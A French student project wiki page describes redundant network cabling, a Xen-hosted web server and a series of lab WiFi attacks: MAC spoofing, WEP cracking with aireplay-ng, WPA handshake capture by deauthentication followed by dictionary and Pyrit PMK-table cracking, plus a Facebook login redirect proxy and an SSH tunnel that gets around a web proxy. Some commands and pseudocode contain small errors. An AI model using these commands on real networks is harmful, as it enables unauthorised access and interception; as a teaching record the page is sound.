PRA 2015 - Câblage d'un réseau redondant

De Wiki de Projets IMA
Révision datée du 10 décembre 2015 à 09:36 par Froyer1 (discussion | contributions) (Installation de la machine virtuelle)

Introduction

Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.

Câblage du résau

Le réseau idéal

Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.

PRA15 - Réseau Idéal.png

Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.

L'avancement du cablage du réseau

L'image suivante détaille l'état du réseau avant le 07/10/2015.

PRA15 - Réseau Temporaire.png

Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.

La partie commune

Création d'un site Web haute disponibilité

Installation de la machine virtuelle

D'après notre sujet, notre site Web devait être hébergé sur une machine virtuelle fonctionnant sur le serveur que nous avions rendu redondant précédemment. Nous avons donc commencé par créer cette machine virtuelle, nommée "kwak". Notre hôte est un serveur Xen 3.0.

# cat /etc/xen/kwak.cfg
kernel      = '/boot/vmlinuz-3.14-2-amd64'
extra       = 'elevator=noop'
ramdisk     = '/boot/initrd.img-3.14-2-amd64'
vcpus       = '1'
memory      = '512'
root        = '/dev/xvda2 ro'
disk        = [
                  'file:/usr/local/xen/domains/kwak/disk.img,xvda2,w',
                  'file:/usr/local/xen/domains/kwak/swap.img,xvda1,w',
              ]
name        = 'kwak'
vif         = [ 'ip=193.48.57.167 ,mac=00:16:3E:FF:C3:C5 ,bridge=IMA5sc' ]
on_poweroff = 'destroy'
on_reboot   = 'restart'
on_crash    = 'restart'

Ensuite, nous démarrons notre machine virtuelle.

# xl create /etc/xen/kwak.cfg

Nous nous connectons alors à la machine (soit en ssh soit avec la console Xen).

# xl console kwak

Enfin, nous installons les services dont nous allons avoir besoin par la suite.

# apt-get install apache2 bind

Mise en place du service web

Pour réaliser notre site web, nous avons commencé par créer une page web basé sur notre nom de domaine: pinkfluffyunicorn.lol

<!DOCTYPE>
<html>
<head>
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/1.11.3/jquery.min.js"></script>
</head>
<body>
    <iframe style="position:absolute;top:0px;left:0px;" id="video" src="https://www.youtube.com/embed/qRC4Vk6kisY?autoplay=1&showinfo=0&showsearch=0&iv_load_policy=3&autoplay=1" frameborder="0" allowfullscreen></iframe>
  <script>
        $(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });
          $(window).resize(function(){$('#video').css({ width: $(window).innerWidth() + 'px', height: '100%' });});
        });
        </script>
</body>
</html>

Tests de sécurisation de réseaux WiFi

Accès par filtrage MAC

Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.

La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.

airodump-ng start wlan0

Ensuite, nous avons surveillé le réseau WiFi, nommé "baguette"

airodump-ng --essid baguette wlan0mon

CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette

On spécifie alors le canal et le BSSID à utiliser pour plus de précision.

airodump-ng --essid baguette wlan0mon

CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               

BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1

Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.

ifconfig wlan1 hw ether C4:14:3C:40:78:60

Accès par filtrage WEP

Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.

#airmon-ng 
PHY	Interface	Driver		Chipset

phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]

#airmon-ng start wlan3
PHY	Interface	Driver		Chipset

phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)
		(mac80211 station mode vif disabled for [phy1]wlan3)

L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.

#airodump-ng wlan3mon
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         
                                                                                                                                                                                                     
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
                                                                                                                
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           
                                                                                                                                                                                                      
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            
                                                                                                                                                                                                      
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93

Notre cible étant le réseau "cracotte07", nous spécifions donc le canal et l'ESSID

#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         

 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07

Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.

#aircrack-ng *.cap
Opening dmp-01.cap
Read 110082 packets.

   #  BSSID              ESSID                     Encryption

   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)

Choosing first network as target.

Opening dmp-01.cap
Attack will be restarted every 5000 captured ivs.
Starting PTW attack with 6258 ivs.

Ensuite, nous générons plus de flux à l'aide de aireplay.

#aireplay-ng -5 -e cracotte07 wlan3mon
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7
Found BSSID "00:23:5E:1E:05:46" to given ESSID "cracotte07".
12:02:11  Waiting for a data packet...


        Size: 70, FromDS: 0, ToDS: 1 (WEP)

              BSSID  =  00:23:5E:1E:05:46
          Dest. MAC  =  FF:FF:FF:FF:FF:FF
         Source MAC  =  00:0F:B5:92:23:69

        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5
        0x0040:  b7bd 03c5 5093                           ....P.

Use this packet ? y

Saving chosen packet in replay_src-1112-120211.cap
12:02:13  Data packet found!
12:02:13  Sending fragmented packet

Et enfin, aircrack trouve la clé.

                                                                                            Aircrack-ng 1.2 rc2


                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)

   KB    depth   byte(vote)
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) 
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) 
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) 
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) 
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) 

     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] 
	Decrypted correctly: 100%

Accès par filtrage WPA

L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.

#!/usr/bin/perl
my $ite = 0;
my $max = 1000000;
my $outp;
my $tmp;
for (my $j=0; $j < 100; $j++)
{
    $tmp = sprintf("[%02d]\n", $j);                                                                                                                                                               
    print STDERR $tmp;
    for (my $i=0; $i < ($max); $i++)
    {
        $outp = sprintf("%08d\n", $ite);
        $ite++;
        print $outp;
    }
}

Nous lançons donc la génération avec la commande

# ./gen.pl > dic.txt

Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.

859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt

Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau "Almost Secure WiFi".

# airodump-ng --channel 6 --essid "Almost Secure WiFI" -w dmp wlan1

Puis, nous désauthentifions les clients déjà connectés pour récupérer le "handshake" qui permettra le décryptage de la clé.

# aireplay-ng -0 5 -e "Almost Secure WiFI" wlan1

Une fois la désauthentification envoyée, nous récupérons le "handshake" durant la reconnection des clients.

# aircrack-ng *.cap
Opening dmp-01.cap
Read 2370 packets.
   #  BSSID              ESSID                     Encryption

   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)
Attaque par dictionnaire

A partir du moment où nous disposons du "handshake", deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.

# aircrack-ng -w dico.txt *.cap
                                 Aircrack-ng 1.2 beta3
                   [00:58:30] 12121212 keys tested (3659.24 k/s)
                           KEY FOUND! [ 12121212 ]
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE

Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.

Attaque par Rainbow Tables

Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une "rainbow table" est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.

# pyrit -e 'Almost Secure WiFI' create_essid
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Created ESSID 'Almost Secure WiFI'

Ensuite, nous ajoutons le dictionnaire qui permettra la génération de la "rainbow table". On remarqera que cette étape prend entre 5 à 10 secondes.

# pyrit -i ./dic.txt import_passwords
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
100000000 lines read. Flushing buffers... ..
All done.

Maintenant, nous devons générer la "rainbow table". Cette partie est extrêmement longue et utilise le processeur au maximum de ses possibilités. Il est important de noter que pendant cette phase, le processeur chauffe énormément, une bonne ventilation du PC est donc obligatoire.

# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Working on ESSID 'Almost Secure WiFI'
Processed 3/1536 workunits so far (0.2%); 5174 PMKs per second.

On voit que PyRit calcule les PMK à 5200 clés par secondes. Bien que plus importante qu'avec Aircrack, cette vitesse reste assez faible. Pour augmenter la vitesse de calcul, nous allons utiliser la carte graphique disponible dans l'ordinateur. Pour cela, nous avons installer les drivers nécessaires et ajouté les outils Cuda pour que la carte graphique (NVidia GTX 560) puisse effectuer les calculs. Nous avons donc effectué un court benchmark pour constater les améliorations des performances.

# pyrit benchmark
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Running benchmark (25147.5 PMKs/s)... \

Computed 25147.53 PMKs/s total.
#1: 'OpenCL-Device 'GeForce GTX 560'': 23696.7 PMKs/s (RTT 2.8)
#2: 'CPU-Core (SSE2)': 983.3 PMKs/s (RTT 3.0)
#3: 'CPU-Core (SSE2)': 975.5 PMKs/s (RTT 3.0)
#4: 'CPU-Core (SSE2)': 972.8 PMKs/s (RTT 3.0)

Avec une vitesse de 25000 PMK/s, nous lançons la génération de la "rainbow table" qui prendra environ une heure.

# pyrit batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Working on ESSID 'Almost Secure WiFI'
Processed 95/1536 workunits so far (6.2%); 26045 PMKs per second.

Maintenant que la "rainbow table" est générée, nous lançons l'attaque.

# pyrit -r *.cap attack_batch
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com
This code is distributed under the GNU General Public License v3+

Connecting to storage at 'file://'...  connected.
Parsing file 'dmp-01.cap' (1/1)...
Parsed 270 packets (270 802.11-packets), got 1 AP(s)

Picked AccessPoint 00:13:46:79:6a:1c ('Almost Secure WiFI') automatically.
Attacking handshake with station 00:0c:e7:41:68:29
Tried 6001009 PMKs so far (5.9%); 11875239 PMKs per second

The password is '12121212'.

Le mot de passe est alors affiché. Le temps nécessaire à l'obtention de la clé est d'une quinzaine de secondes. La vitesse de calcul des PMK est en moyenne de 7 millions de PMKs par secondes avec des pics à 11 millions de PMKs par secondes lors de l'accès à des zones du disque en cache. L'attaque par "rainbow tables" est donc largement plus performante.

Algorithme de génération de PMK

Pour trouver le mot de passe d'un réseau WiFi protégé par du WPA, il est nécessaire de générer la PMK (Pairwise Master Key) correspondant au nom du réseau WiFi ciblé. En effet, l'algorithme de génération de la PMK (nommé PBKDF2) prend comme salage l'ESSID.

PMK = PBKDF2(HMAC-SHA1, PASSWORD, ESSID, 4096, 256)

La fonction PBKDF2 (dont le nom complet est Password-Based Key Derivation Function 2) est une fonction de dérivation de clés publié par le laboratoire PKCS des laboratoires RSA. Elle est aussi maintenue par le RFC 2898 de l'IETF. Cette fonction s'utilise en combinaison d'une autre fonction. Cette autre fonction doit être de type pseudo-aléatoire pour permettre la création de clés cryptographiques. Les paramètres de cette fonction PBKDF2 sont donc:

  • [PRF] La fonction pseudo-aléatoire (ici HMAC-SHA1)
  • [PASSWORD] Le mot de passe
  • [SALT] Le salage (ici l'ESSID)
  • [COUNT] Le nombre d'itération de la fonction PBKDF2 (ici 4096)
  • [LEN] La longueur du résultat de la fonction (ici 256)

La résultat de la fonction est le résultat de la succession d'opération XOR, un nombre de fois déterminé par COUNT, à travers l'algorithme PFR.

PBKDF2(PRF, PASSWORD, SALT, COUNT, LEN) = U1 ^ U2 ^ ... ^ Ucount

Où les "Un" sont égales à: (ici, IMT_32_BE est la valeur de LEN convertie sur un INT codé sur 32 bits en Big Endian.

U1 = PRF(PASSWORD, SALT || INT_32_BE(LEN))
U2 = PRF(PASSWORD, U1)
...
Uc = PRF(PASSWORD, Ucount-1)

Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le RFC 2104 de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:

  • [KEY] la clé utilisée pour encoder le message
  • [MSG] le message à encoder
  • [H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)
  • [HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)

Le principe de fonctionnement est le suivant:

function HMAC(KEY, MSG, H, HLEN)
    if(length(KEY) > HLEN)
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H
    if(length(KEY) < HLEN)
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))

    opad_key = (opad * HLEN) ^ KEY;
    ipad_key = (ipad * HLEN) ^ KEY;

    return H(opad_key || H(ipad_key || MSG)

Dans cette fonction:

  • L'opérateur || désigne la concaténation directe tel que "J'aime le"||" poulet" est égale à "J'aime le poulet"
  • L'opérateur * désigne la répétition de l'élément tel que "J"*4 est égale à "JJJJ"
  • L'opérateur ^ désigne l'opérateur XOR logique
  • La variable opad est une constance valant 0x5C
  • La variable ipad est une constance valant 0x36

Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.

function SHA1(PASS)
    h0 = 0x67452301
    h1 = 0xEFCDAB89
    h2 = 0x98BADCFE
    h3 = 0x10325476
    h4 = 0xC3D2E1F0
    ml = message length in bits (always a multiple of the number of bits in a character).

    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.
    append 0 ≤ k < 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.

    break message into 512-bit chunks
    for each chunk
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15

        //Extend the sixteen 32-bit words into eighty 32-bit words:
        for i from 16 to 79
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1

        //Initialize hash value for this chunk:
        a = h0
        b = h1
        c = h2
        d = h3
        e = h4

        //Main loop
        for i from 0 to 79
            if 0 ≤ i ≤ 19 then
                f = (b and c) or ((not b) and d)
                k = 0x5A827999
            else if 20 ≤ i ≤ 39
                f = b xor c xor d
                k = 0x6ED9EBA1
            else if 40 ≤ i ≤ 59
                f = (b and c) or (b and d) or (c and d) 
                k = 0x8F1BBCDC
            else if 60 ≤ i ≤ 79
                f = b xor c xor d
                k = 0xCA62C1D6

            temp = (a leftrotate 5) + f + e + k + w[i]
            e = d
            d = c
            c = b leftrotate 30
            b = a
            a = temp

            //Add this chunk's hash to result so far:
            h0 = h0 + a
            h1 = h1 + b 
            h2 = h2 + c
            h3 = h3 + d
            h4 = h4 + e

            //Produce the final hash value (big-endian) as a 160 bit number:
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4

Attaque Man In the Middle de Facebook

Squirm ne marche pas ... D'un autre coté, en 1999 c'était peut être la mode.

Config Squid

acl allowedips src 172.16.1.0/24
http_access allow allowedips
forwarded_for off
http_access deny all
cache_access_log /var/log/squid3/access.log
cache_log /var/log/squid3/cache.log
cache_store_log /var/log/squid3/store.log
cache_dir ufs /var/spool/squid3 100 16 256
cache_mem 16 MB
maximum_object_size 15 MB
http_port 3128
cache_effective_group root
url_rewrite_program /usr/bin/squidGuard
shutdown_lifetime 1 second

Config Squidguard

dbhome /usr/local/squidGuard/db

dest fb-login {
    urllist     facebook/url
}

acl {
    default {
       pass !fb-login all
       redirect http://127.0.0.1/
    }
}

cat /usr/local/squidGuard/db/facebook/url

fr-fr.facebook.com

Contournement d'un proxy

Lors de certains événements, il est nécessaire de disposer d'un accès Internet complet, sans aucune limitation. Dans le cadre de la compétition "La nuit de l'info", nous avons été amené à réaliser un dispositif permettant une accès libre à Internet à travers un accès filtré par proxy web à l'aide d'un serveur non filtré. Pour cela, nous avons utilisé une machine dédiée comprenant deux cartes réseaux. Nous avons commencé, après l'installation du système d'exploitation (Debian Jessie) à installer les paquets nécesasires.

# apt-get install openssh-server proxytunnel isc-dhcp-server

Ensuite, nous avons créé notre fichier de configuration ssh pour un accès plus facile à notre serveur non filtré. On notera qu'il est important que le serveur ssh distant écoute sur le port 443, car c'est l'un des rares ports que le serveur proxy laisse passer.

# vim /root/.ssh/config
Host perfectTunnel
        Hostname ADRESSE_IP_DE_NOTRE_SERVEUR
        User root
        Port 443
        ProxyCommand proxytunnel -p proxy.nuitinfolille.fr:3128 -d %h:%p

Ensuite, nous créons notre script permettant la création d'un tunnel entre notre machine dédiée et notre serveur distant.

ssh \
  -o PermitLocalCommand=yes \
  -o LocalCommand="ifconfig tun5 12.24.48.2 pointopoint 12.24.48.1 netmask 255.255.255.0" \
  -o ServerAliveInterval=60 \
  -w 5:5 perfectTunnel \
  'ifconfig tun5 12.24.48.1 pointopoint 12.24.48.2 netmask 255.255.255.0; echo tunnel ready'

Une première vérification nous permet de nous assurer que le tunnel fonctionne correctement.

# ping -I tun5 8.8.8.8
PING 8.8.8.8 (8.8.8.8) from 12.24.48.2 tun5: 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=21.9 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=17.4 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=17.3 ms
^C
--- 8.8.8.8 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2002ms
rtt min/avg/max/mdev = 17.383/18.920/21.904/2.110 ms

On voit bien que l'interface tun5 peut pinger une IP de Google, on peut donc supposer que son accès à Internet est complet. Nous allons maintenant modifier les routes du serveur pour qu'il utilise cette interface comme passerelle par défaut.

# route del default
# route add default gw 12.24.48.1

On vérifie que notre machine dédiée peut bien accéder à Internet en totalité.

# ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=55 time=17.0 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=55 time=16.7 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=55 time=19.4 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=55 time=17.5 ms
^C
--- 8.8.8.8 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3004ms
rtt min/avg/max/mdev = 16.758/17.705/19.494/1.084 ms

Maintenant que le tunnel fonctionne, il ne reste plus qu'à la partager aux clients. Pour cela, nous commençons par mettre en place en serveur DHCP sur une des cartes réseaux (eth0).

# vim /etc/default/isc-dhcp-server
INTERFACES="eth0"

# vim /etc/dhcp/dhcpd.conf
subnet 118.218.0.0 netmask 255.255.0.0 {
        range 118.218.1.1 118.218.254.254;
        option routers 118.218.0.1;
        option subnet-mask 255.255.0.0;
        option broadcast-address 118.218.255.255;
        option domain-name-servers 8.8.8.8, 8.8.4.4;
}

default-lease-time 600;
max-lease-time 7200;
authoritative;

Les clients ont leur IP. Il faut maintenant configurer le serveur pour qu'il effectue la redirection correctement.

iptables -A FORWARD -i eth0 -o tun5 -s 118.218.0.0/16 -d 0.0.0.0/0 -j ACCEPT
iptables -A FORWARD -s 0.0.0.0/0 -d 118.218.0.0/16 -j ACCEPT
iptables -t nat -A POSTROUTING -s 118.218.0.0/16 -d 0.0.0.0/0 -j MASQUERADE

Et finalement, une dernière commande permet à tout le système de fonctionner: la redirection des packets IPv4 au niveau du noyau.

echo 1 > /proc/sys/net/ipv4/ip_forward

La partie bonus

Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un système embarqué (nommé CiscoChecker) permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.

Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.

Utilisation de l'écran LCD

Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.

Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.

Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX. Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.

Voici à quoi ressemble une de nos lettres :

const char	letter_A[] PROGMEM = {
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};

Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.

Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.

Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.

Utilisation du lecteur de carte SD

